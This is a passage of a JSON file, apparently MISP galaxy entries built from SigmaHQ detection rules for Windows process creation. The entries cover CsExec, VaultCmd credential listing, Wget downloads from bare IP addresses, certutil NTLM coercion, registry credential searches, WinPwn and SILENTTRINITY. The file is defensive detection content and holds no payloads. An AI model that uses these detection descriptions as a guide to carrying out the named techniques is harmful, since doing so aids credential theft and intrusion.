          "attack.defense_evasion",
          "attack.t1218",
          "attack.t1202"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f37aba28-a9e6-4045-882c-d5004043b337",
      "value": "Suspicious Cmdl32 Execution"
    },
    {
      "description": "Detects the use of the lesser known remote execution tool named CsExec a PsExec alternative",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/08/22",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_pua_csexec.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/malcomvetter/CSExec",
          "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_csexec.yml"
        ],
        "tags": [
          "attack.resource_development",
          "attack.t1587.001",
          "attack.execution",
          "attack.t1569.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "212306d8-efa4-44c9-8c2d-ed3d2e224aa0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d08a2711-ee8b-4323-bdec-b7d85e892b31",
      "value": "PUA - CsExec Execution"
    },
    {
      "description": "List credentials currently stored in Windows Credential Manager via the native Windows utility vaultcmd.exe",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/04/08",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_vaultcmd_list_creds.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555.004/T1555.004.md#atomic-test-1---access-saved-credentials-via-vaultcmd",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vaultcmd_list_creds.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1555.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "d336b553-5da9-46ca-98a8-0b23f49fb447",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "58f50261-c53b-4c88-bd12-1d71f12eda4c",
      "value": "Windows Credential Manager Access via VaultCmd"
    },
    {
      "description": "Detects suspicious child processes of the SQLServer process. This could indicate potential RCE or SQL Injection.",
      "meta": {
        "author": "FPT.EagleEye Team, wagga",
        "creation_date": "2020/12/11",
        "falsepositive": "No established falsepositives",
        "filename": "proc_creation_win_mssql_susp_child_process.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mssql_susp_child_process.yml"
        ],
        "tags": [
          "attack.t1505.003",
          "attack.t1190",
          "attack.initial_access",
          "attack.persistence",
          "attack.privilege_escalation"
        ]
      },
      "related": [
        {
          "dest-uuid": "5d0d3609-d06d-49e1-b9c9-b544e0c618cb",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "869b9ca7-9ea2-4a5a-8325-e80e62f75445",
      "value": "Suspicious Child Process Of SQL Server"
    },
    {
      "description": "Detects uncommon or suspicious child processes spawning from a WSL process. This could indicate an attempt to evade parent/child relationship detections or persistence attempts via cron using WSL",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/01/23",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_wsl_child_processes_anomalies.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/nas_bench/status/1535431474429808642",
          "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Wsl/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wsl_child_processes_anomalies.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.defense_evasion",
          "attack.t1218",
          "attack.t1202"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "2267fe65-0681-42ad-9a6d-46553d3f3480",
      "value": "WSL Child Process Anomaly"
    },
    {
      "description": "Detects potential RDP connection via Mstsc using a local \".rdp\" file",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), Christopher Peacock @securepeacock",
        "creation_date": "2023/04/18",
        "falsepositive": [
          "Likely with legitimate usage of \".rdp\" files"
        ],
        "filename": "proc_creation_win_mstsc_run_local_rdp_file.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.blackhillsinfosec.com/rogue-rdp-revisiting-initial-access-methods/",
          "https://blog.thickmints.dev/mintsights/detecting-rogue-rdp/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mstsc_run_local_rdp_file.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1219"
        ]
      },
      "related": [
        {
          "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "5fdce3ac-e7f9-4ecd-a3aa-a4d78ebbf0af",
      "value": "Mstsc.EXE Execution With Local RDP File"
    },
    {
      "description": "Detects SILENTTRINITY stager use via PE metadata",
      "meta": {
        "author": "Aleksey Potapov, oscd.community",
        "creation_date": "2019/10/22",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_hktl_silenttrinity_stager.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/byt3bl33d3r/SILENTTRINITY",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_silenttrinity_stager.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1071"
        ]
      },
      "related": [
        {
          "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "03552375-cc2c-4883-bbe4-7958d5a980be",
      "value": "HackTool - SILENTTRINITY Stager Execution"
    },
    {
      "description": "Detects execution of wmic utility with the \"computersystem\" flag in order to obtain information about the machine such as the domain, username, model, etc.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/09/08",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_wmic_recon_computersystem.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_recon_computersystem.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.execution",
          "attack.t1047"
        ]
      },
      "related": [
        {
          "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9d7ca793-f6bd-471c-8d0f-11e68b2f0d2f",
      "value": "Computer System Reconnaissance Via Wmic.EXE"
    },
    {
      "description": "Detects Windows Installer service (msiexec.exe) trying to install MSI packages with SYSTEM privilege",
      "meta": {
        "author": "Teymur Kheirkhabarov (idea), Mangatas Tondang (rule), oscd.community",
        "creation_date": "2020/10/13",
        "falsepositive": [
          "System administrator usage",
          "Anti virus products",
          "WindowsApps located in \"C:\\Program Files\\WindowsApps\\\""
        ],
        "filename": "proc_creation_win_susp_always_install_elevated_windows_installer.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://image.slidesharecdn.com/kheirkhabarovoffzonefinal-181117201458/95/hunting-for-privilege-escalation-in-windows-environment-48-638.jpg",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_always_install_elevated_windows_installer.yml"
        ],
        "tags": [
          "attack.privilege_escalation",
          "attack.t1548.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "cd951fdc-4b2f-47f5-ba99-a33bf61e3770",
      "value": "Always Install Elevated Windows Installer"
    },
    {
      "description": "Detects execution of a browser process with a URL argument pointing to a file with a potentially interesting extension. This can be abused to download arbitrary files or to hide from the user for example by launching the browser in a minimized state.",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/01/11",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_browsers_inline_file_download.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/mrd0x/status/1478116126005641220",
          "https://lolbas-project.github.io/lolbas/Binaries/Msedge/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_browsers_inline_file_download.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1105"
        ]
      },
      "related": [
        {
          "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "94771a71-ba41-4b6e-a757-b531372eaab6",
      "value": "File Download From Browser Process Via Inline URL"
    },
    {
      "description": "Detects usage of winget to add new potentially suspicious download sources",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/04/17",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_winget_add_susp_custom_source.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://learn.microsoft.com/en-us/windows/package-manager/winget/source",
          "https://github.com/nasbench/Misc-Research/tree/b9596e8109dcdb16ec353f316678927e507a5b8d/LOLBINs/Winget",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winget_add_susp_custom_source.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.execution",
          "attack.t1059"
        ]
      },
      "related": [
        {
          "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "c15a46a0-07d4-4c87-b4b6-89207835a83b",
      "value": "Add Potential Suspicious New Download Source To Winget"
    },
    {
      "description": "Atbroker executing non-deafualt Assistive Technology applications",
      "meta": {
        "author": "Mateusz Wydra, oscd.community",
        "creation_date": "2020/10/12",
        "falsepositive": [
          "Legitimate, non-default assistive technology applications execution"
        ],
        "filename": "proc_creation_win_lolbin_susp_atbroker.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "http://www.hexacorn.com/blog/2016/07/22/beyond-good-ol-run-key-part-42/",
          "https://lolbas-project.github.io/lolbas/Binaries/Atbroker/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_atbroker.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f24bcaea-0cd1-11eb-adc1-0242ac120002",
      "value": "Suspicious Atbroker Execution"
    },
    {
      "description": "Detects using Rasautou.exe for loading arbitrary .DLL specified in -d option and executes the export specified in -p.",
      "meta": {
        "author": "Julia Fomina, oscd.community",
        "creation_date": "2020/10/09",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_lolbin_rasautou_dll_execution.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/fireeye/DueDLLigence",
          "https://lolbas-project.github.io/lolbas/Binaries/Rasautou/",
          "https://www.fireeye.com/blog/threat-research/2019/10/staying-hidden-on-the-endpoint-evading-detection-with-shellcode.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_rasautou_dll_execution.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "cd3d1298-eb3b-476c-ac67-12847de55813",
      "value": "DLL Execution via Rasautou.exe"
    },
    {
      "description": "Adversaries may search the Registry on compromised systems for insecurely stored credentials.\nThe Windows Registry stores configuration information that can be used by the system or other programs.\nAdversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/12/20",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_reg_enumeration_for_credentials_in_registry.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.002/T1552.002.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_enumeration_for_credentials_in_registry.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1552.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "341e222a-a6e3-4f6f-b69c-831d792b1580",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e0b0c2ab-3d52-46d9-8cb7-049dc775fbd1",
      "value": "Enumeration for Credentials in Registry"
    },
    {
      "description": "Detect VBoxDrvInst.exe run with parameters allowing processing INF file.\nThis allows to create values in the registry and install drivers.\nFor example one could use this technique to obtain persistence via modifying one of Run or RunOnce registry keys\n",
      "meta": {
        "author": "Konstantin Grishchenko, oscd.community",
        "creation_date": "2020/10/06",
        "falsepositive": [
          "Legitimate use of VBoxDrvInst.exe utility by VirtualBox Guest Additions installation process"
        ],
        "filename": "proc_creation_win_virtualbox_vboxdrvinst_execution.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/LOLBAS-Project/LOLBAS/blob/4db780e0f0b2e2bb8cb1fa13e09196da9b9f1834/yml/LOLUtilz/OtherBinaries/VBoxDrvInst.yml",
          "https://twitter.com/pabraeken/status/993497996179492864",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_virtualbox_vboxdrvinst_execution.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b7b19cb6-9b32-4fc4-a108-73f19acfe262",
      "value": "Suspicious VBoxDrvInst.exe Parameters"
    },
    {
      "description": "Detects encoded base64 MZ header in the commandline",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/07/12",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_susp_inline_base64_mz_header.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_inline_base64_mz_header.yml"
        ],
        "tags": [
          "attack.execution"
        ]
      },
      "uuid": "22e58743-4ac8-4a9f-bf19-00a0428d8c5f",
      "value": "Base64 MZ Header In CommandLine"
    },
    {
      "description": "Detects potentially suspicious file downloads directly from IP addresses using Wget.exe",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/07/27",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_wget_download_direct_ip.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.gnu.org/software/wget/manual/wget.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wget_download_direct_ip.yml"
        ],
        "tags": [
          "attack.execution"
        ]
      },
      "uuid": "17f0c0a8-8bd5-4ee0-8c5f-a342c0199f35",
      "value": "Suspicious File Download From IP Via Wget.EXE"
    },
    {
      "description": "Detects the creation of scheduled tasks in user session",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2019/01/16",
        "falsepositive": [
          "Administrative activity",
          "Software installation"
        ],
        "filename": "proc_creation_win_schtasks_creation.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_creation.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.t1053.005",
          "attack.s0111",
          "car.2013-08-001",
          "stp.1u"
        ]
      },
      "related": [
        {
          "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "92626ddd-662c-49e3-ac59-f6535f12d189",
      "value": "Scheduled Task Creation"
    },
    {
      "description": "Detects a suspicious process pattern which could be a sign of an exploited Serv-U service",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/07/14",
        "falsepositive": [
          "Legitimate uses in which users or programs use the SSH service of Serv-U for remote command execution"
        ],
        "filename": "proc_creation_win_servu_susp_child_process.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.microsoft.com/security/blog/2021/07/13/microsoft-discovers-threat-actor-targeting-solarwinds-serv-u-software-with-0-day-exploit/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_servu_susp_child_process.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1555",
          "cve.2021.35211"
        ]
      },
      "related": [
        {
          "dest-uuid": "3fc9b85a-2862-4363-a64d-d692e3ffbee0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "58f4ea09-0fc2-4520-ba18-b85c540b0eaf",
      "value": "Suspicious Serv-U Process Pattern"
    },
    {
      "description": "Adversaries may enumerate browser bookmarks to learn more about compromised hosts.\nBrowser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about\ninternal network resources such as servers, tools/dashboards, or other related infrastructure.\n",
      "meta": {
        "author": "frack113, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2021/12/13",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_where_browser_data_recon.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1217/T1217.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_where_browser_data_recon.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1217"
        ]
      },
      "related": [
        {
          "dest-uuid": "5e4a2073-9643-44cb-a0b5-e7f4048446c7",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "725a9768-0f5e-4cb3-aec2-bc5719c6831a",
      "value": "Suspicious Where Execution"
    },
    {
      "description": "Detects the execution of whoami, which is often used by attackers after exploitation / privilege escalation",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2018/08/13",
        "falsepositive": [
          "Admin activity",
          "Scripts and administrative tools used in the monitored environment",
          "Monitoring activity"
        ],
        "filename": "proc_creation_win_whoami_execution.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://brica.de/alerts/alert/public/1247926/agent-tesla-keylogger-delivered-inside-a-power-iso-daa-archive/",
          "https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_whoami_execution.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1033",
          "car.2016-03-001"
        ]
      },
      "related": [
        {
          "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e28a5a99-da44-436d-b7a0-2afc20a5f413",
      "value": "Whoami Utility Execution"
    },
    {
      "description": "Detects commandline keywords indicative of potential usge of the tool WinPwn. A tool for Windows and Active Directory reconnaissance and exploitation.\n",
      "meta": {
        "author": "Swachchhanda Shrawan Poudel",
        "creation_date": "2023/12/04",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_hktl_winpwn.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://grep.app/search?q=winpwn&filter[repo][0]=redcanaryco/atomic-red-team",
          "https://github.com/S3cur3Th1sSh1t/WinPwn",
          "https://github.com/redcanaryco/atomic-red-team/blob/4d6c4e8e23d465af7a2388620cfe3f8c76e16cf0/atomics/T1082/T1082.md",
          "https://reconshell.com/winpwn-tool-for-internal-windows-pentesting-and-ad-security/",
          "https://www.publicnow.com/view/EB87DB49C654D9B63995FAD4C9DE3D3CC4F6C3ED?1671634841",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_winpwn.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.defense_evasion",
          "attack.discovery",
          "attack.execution",
          "attack.privilege_escalation",
          "attack.t1046",
          "attack.t1082",
          "attack.t1106",
          "attack.t1518",
          "attack.t1548.002",
          "attack.t1552.001",
          "attack.t1555",
          "attack.t1555.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "e3b6daca-e963-4a69-aee6-ed4fd653ad58",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "3fc9b85a-2862-4363-a64d-d692e3ffbee0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d557dc06-62e8-4468-a8e8-7984124908ce",
      "value": "HackTool - WinPwn Execution"
    },
    {
      "description": "Detects possible NTLM coercion via certutil using the 'syncwithWU' flag",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/09/01",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_certutil_ntlm_coercion.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/LOLBAS-Project/LOLBAS/issues/243",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_ntlm_coercion.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "6c6d9280-e6d0-4b9d-80ac-254701b64916",
      "value": "Potential NTLM Coercion Via Certutil.EXE"
    },
    {
      "description": "Detects Visual Studio Code tunnel execution. Attackers can abuse this functionality to establish a C2 channel",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), citron_ninja",
        "creation_date": "2023/10/25",
        "falsepositive": [
          "Legitimate use of Visual Studio Code tunnel"
        ],
        "filename": "proc_creation_win_vscode_tunnel_execution.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://code.visualstudio.com/docs/remote/tunnels",
          "https://badoption.eu/blog/2023/01/31/code_c2.html",
          "https://ipfyx.fr/post/visual-studio-code-tunnel/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vscode_tunnel_execution.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1071.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "90d6bd71-dffb-4989-8d86-a827fedd6624",
      "value": "Visual Studio Code Tunnel Execution"
    },
    {
      "description": "A General detection for sdclt spawning new processes. This could be an indicator of sdclt being used for bypass UAC techniques.",
      "meta": {
        "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)",
        "creation_date": "2020/05/02",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_sdclt_child_process.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/OTRF/detection-hackathon-apt29/issues/6",
          "https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/3.B.2_C36B49B5-DF58-4A34-9FE9-56189B9DEFEA.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sdclt_child_process.yml"
        ],
        "tags": [
          "attack.privilege_escalation",
          "attack.t1548.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "da2738f2-fadb-4394-afa7-0a0674885afa",
      "value": "Sdclt Child Processes"
    },
    {
      "description": "Detects the execution of Windows binaries from within a WSL instance. This could be used to masquerade parent-child relationships",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/02/14",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_wsl_windows_binaries_execution.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wsl_windows_binaries_execution.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.defense_evasion",
          "attack.t1202"
        ]
      },
      "related": [
        {
          "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ed825c86-c009-4014-b413-b76003e33d35",
      "value": "Windows Binary Executed From WSL"
    },
    {
      "description": "Detects the execution of PowerShell with a specific flag sequence that is used by the Wmiexec script",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/03/08",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_hktl_wmiexec_default_powershell.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
